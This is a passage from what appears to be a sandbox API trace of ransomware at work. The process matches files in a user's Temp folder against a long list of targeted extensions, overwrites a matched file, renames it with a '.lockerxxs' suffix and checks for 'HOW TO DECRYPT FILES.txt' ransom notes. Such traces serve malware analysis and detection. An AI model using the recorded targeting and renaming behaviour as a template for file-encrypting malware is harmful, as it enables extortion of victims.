lstrlenA (lpString="*.docx") returned 6 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.7z") returned 0 [0086.798] lstrlenA (lpString="*.7z") returned 4 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.tar") returned 0 [0086.798] lstrlenA (lpString="*.tar") returned 5 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.bz2") returned 0 [0086.798] lstrlenA (lpString="*.bz2") returned 5 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.gz") returned 0 [0086.798] lstrlenA (lpString="*.gz") returned 4 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.mkv") returned 0 [0086.798] lstrlenA (lpString="*.mkv") returned 5 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.eml") returned 0 [0086.798] lstrlenA (lpString="*.eml") returned 5 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.msg") returned 0 [0086.798] lstrlenA (lpString="*.msg") returned 5 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.edb") returned 0 [0086.798] lstrlenA (lpString="*.edb") returned 5 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.accdb") returned 0 [0086.798] lstrlenA (lpString="*.accdb") returned 7 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.odb") returned 0 [0086.798] lstrlenA (lpString="*.odb") returned 5 [0086.798] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.java") returned 0 [0086.799] lstrlenA (lpString="*.java") returned 6 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.asm") returned 0 [0086.799] lstrlenA (lpString="*.asm") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.pfx") returned 0 [0086.799] lstrlenA (lpString="*.pfx") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.pem") returned 0 [0086.799] lstrlenA (lpString="*.pem") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.p12") returned 0 [0086.799] lstrlenA (lpString="*.p12") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.gpg") returned 0 [0086.799] lstrlenA (lpString="*.gpg") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.vsd") returned 0 [0086.799] lstrlenA (lpString="*.vsd") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.odg") returned 0 [0086.799] lstrlenA (lpString="*.odg") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.raw") returned 0 [0086.799] lstrlenA (lpString="*.raw") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.nef") returned 0 [0086.799] lstrlenA (lpString="*.nef") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.svg") returned 0 [0086.799] lstrlenA (lpString="*.svg") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.psd") returned 0 [0086.799] lstrlenA (lpString="*.psd") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.vmx") returned 0 [0086.799] lstrlenA (lpString="*.vmx") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.vmdk") returned 0 [0086.799] lstrlenA (lpString="*.vmdk") returned 6 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.vdi") returned 0 [0086.799] lstrlenA (lpString="*.vdi") returned 5 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.lay6") returned 0 [0086.799] lstrlenA (lpString="*.lay6") returned 6 [0086.799] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.mpeg") returned 0 [0086.800] lstrlenA (lpString="*.mpeg") returned 6 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.djvu") returned 0 [0086.800] lstrlenA (lpString="*.djvu") returned 6 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.tiff") returned 0 [0086.800] lstrlenA (lpString="*.tiff") returned 6 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.backup") returned 0 [0086.800] lstrlenA (lpString="*.backup") returned 8 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.pdf") returned 0 [0086.800] lstrlenA (lpString="*.pdf") returned 5 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.cert") returned 0 [0086.800] lstrlenA (lpString="*.cert") returned 6 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.docm") returned 0 [0086.800] lstrlenA (lpString="*.docm") returned 6 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.xlsm") returned 0 [0086.800] lstrlenA (lpString="*.xlsm") returned 6 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.dwg") returned 0 [0086.800] lstrlenA (lpString="*.dwg") returned 5 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.nd") returned 0 [0086.800] lstrlenA (lpString="*.nd") returned 4 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.tlg") returned 0 [0086.800] lstrlenA (lpString="*.tlg") returned 5 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.lgb") returned 0 [0086.800] lstrlenA (lpString="*.lgb") returned 5 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.mov") returned 0 [0086.800] lstrlenA (lpString="*.mov") returned 5 [0086.800] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.xdw") returned 0 [0086.801] lstrlenA (lpString="*.xdw") returned 5 [0086.801] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.ods") returned 0 [0086.801] lstrlenA (lpString="*.ods") returned 5 [0086.801] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", pszSpec="*.wav") returned 1 [0086.801] lstrlenA (lpString="*.wav") returned 5 [0086.801] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav" [0086.801] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav" [0086.801] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav." [0086.801] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav.lockerxxs" [0086.801] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ubsqey.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.802] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1b79 [0086.802] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xe5a3de20, dwHighDateTime=0x1d5d82c), lpLastAccessTime=0x407536*(dwLowDateTime=0x98254c60, dwHighDateTime=0x1d5e07e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x98254c60, dwHighDateTime=0x1d5e07e)) returned 1 [0086.802] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.802] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1b53, lpOverlapped=0x0) returned 1 [0086.803] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav") returned="uBSqEy.wav" [0086.803] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.803] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1b53, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1b53, lpOverlapped=0x0) returned 1 [0086.803] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.803] CloseHandle (hObject=0x90) returned 1 [0086.803] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ubsqey.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ubsqey.wav.lockerxxs")) returned 1 [0086.805] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x145176a0, ftCreationTime.dwHighDateTime=0x1d5de0a, ftLastAccessTime.dwLowDateTime=0xea035ac0, ftLastAccessTime.dwHighDateTime=0x1d5d7f7, ftLastWriteTime.dwLowDateTime=0xea035ac0, ftLastWriteTime.dwHighDateTime=0x1d5d7f7, nFileSizeHigh=0x0, nFileSizeLow=0xa6c6, dwReserved0=0xef0001ee, dwReserved1=0x4e00c4, cFileName="uGRmxK7cL8HKok.avi", cAlternateFileName="UGRMXK~1.AVI")) returned 1 [0086.805] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.805] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="uGRmxK7cL8HKok.avi") returned -1 [0086.805] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="uGRmxK7cL8HKok.avi") returned -1 [0086.805] lstrcmpiA (lpString1="", lpString2="uGRmxK7cL8HKok.avi") returned -1 [0086.805] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uBSqEy.wav") returned="uBSqEy.wav" [0086.805] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.805] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.805] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.805] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.805] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="uGRmxK7cL8HKok.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi" [0086.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.ems") returned 0 [0086.805] lstrlenA (lpString="*.ems") returned 5 [0086.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.db") returned 0 [0086.805] lstrlenA (lpString="*.db") returned 4 [0086.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.dbf") returned 0 [0086.805] lstrlenA (lpString="*.dbf") returned 5 [0086.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.myox") returned 0 [0086.805] lstrlenA (lpString="*.myox") returned 6 [0086.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.myo") returned 0 [0086.806] lstrlenA (lpString="*.myo") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.qbw") returned 0 [0086.806] lstrlenA (lpString="*.qbw") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.qbb") returned 0 [0086.806] lstrlenA (lpString="*.qbb") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.qbm") returned 0 [0086.806] lstrlenA (lpString="*.qbm") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.qbo") returned 0 [0086.806] lstrlenA (lpString="*.qbo") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.qbx") returned 0 [0086.806] lstrlenA (lpString="*.qbx") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.qba") returned 0 [0086.806] lstrlenA (lpString="*.qba") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.qby") returned 0 [0086.806] lstrlenA (lpString="*.qby") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.qbj") returned 0 [0086.806] lstrlenA (lpString="*.qbj") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.ofx") returned 0 [0086.806] lstrlenA (lpString="*.ofx") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.qif") returned 0 [0086.806] lstrlenA (lpString="*.qif") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.mye") returned 0 [0086.806] lstrlenA (lpString="*.mye") returned 5 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.mbox") returned 0 [0086.806] lstrlenA (lpString="*.mbox") returned 6 [0086.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.eml") returned 0 [0086.807] lstrlenA (lpString="*.eml") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.pst") returned 0 [0086.807] lstrlenA (lpString="*.pst") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.ost") returned 0 [0086.807] lstrlenA (lpString="*.ost") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.idx") returned 0 [0086.807] lstrlenA (lpString="*.idx") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.dbx") returned 0 [0086.807] lstrlenA (lpString="*.dbx") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.sql") returned 0 [0086.807] lstrlenA (lpString="*.sql") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.mdb") returned 0 [0086.807] lstrlenA (lpString="*.mdb") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.fdb") returned 0 [0086.807] lstrlenA (lpString="*.fdb") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.wab") returned 0 [0086.807] lstrlenA (lpString="*.wab") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.dat") returned 0 [0086.807] lstrlenA (lpString="*.dat") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.txt") returned 0 [0086.807] lstrlenA (lpString="*.txt") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.jpeg") returned 0 [0086.807] lstrlenA (lpString="*.jpeg") returned 6 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.jpg") returned 0 [0086.807] lstrlenA (lpString="*.jpg") returned 5 [0086.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.png") returned 0 [0086.808] lstrlenA (lpString="*.png") returned 5 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.php") returned 0 [0086.808] lstrlenA (lpString="*.php") returned 5 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.cs") returned 0 [0086.808] lstrlenA (lpString="*.cs") returned 4 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.cpp") returned 0 [0086.808] lstrlenA (lpString="*.cpp") returned 5 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.rar") returned 0 [0086.808] lstrlenA (lpString="*.rar") returned 5 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.zip") returned 0 [0086.808] lstrlenA (lpString="*.zip") returned 5 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.html") returned 0 [0086.808] lstrlenA (lpString="*.html") returned 6 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.htm") returned 0 [0086.808] lstrlenA (lpString="*.htm") returned 5 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.xlsx") returned 0 [0086.808] lstrlenA (lpString="*.xlsx") returned 6 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.xls") returned 0 [0086.808] lstrlenA (lpString="*.xls") returned 5 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.mp4") returned 0 [0086.808] lstrlenA (lpString="*.mp4") returned 5 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.ppt") returned 0 [0086.808] lstrlenA (lpString="*.ppt") returned 5 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.pptx") returned 0 [0086.808] lstrlenA (lpString="*.pptx") returned 6 [0086.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.doc") returned 0 [0086.809] lstrlenA (lpString="*.doc") returned 5 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.dot") returned 0 [0086.809] lstrlenA (lpString="*.dot") returned 5 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.docx") returned 0 [0086.809] lstrlenA (lpString="*.docx") returned 6 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.7z") returned 0 [0086.809] lstrlenA (lpString="*.7z") returned 4 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.tar") returned 0 [0086.809] lstrlenA (lpString="*.tar") returned 5 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.bz2") returned 0 [0086.809] lstrlenA (lpString="*.bz2") returned 5 [0086.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uGRmxK7cL8HKok.avi", pszSpec="*.gz") returned 0 [0086.809] lstrlenA (lpString="*.gz") returned 4 [0086.809] PathMatchSpecA 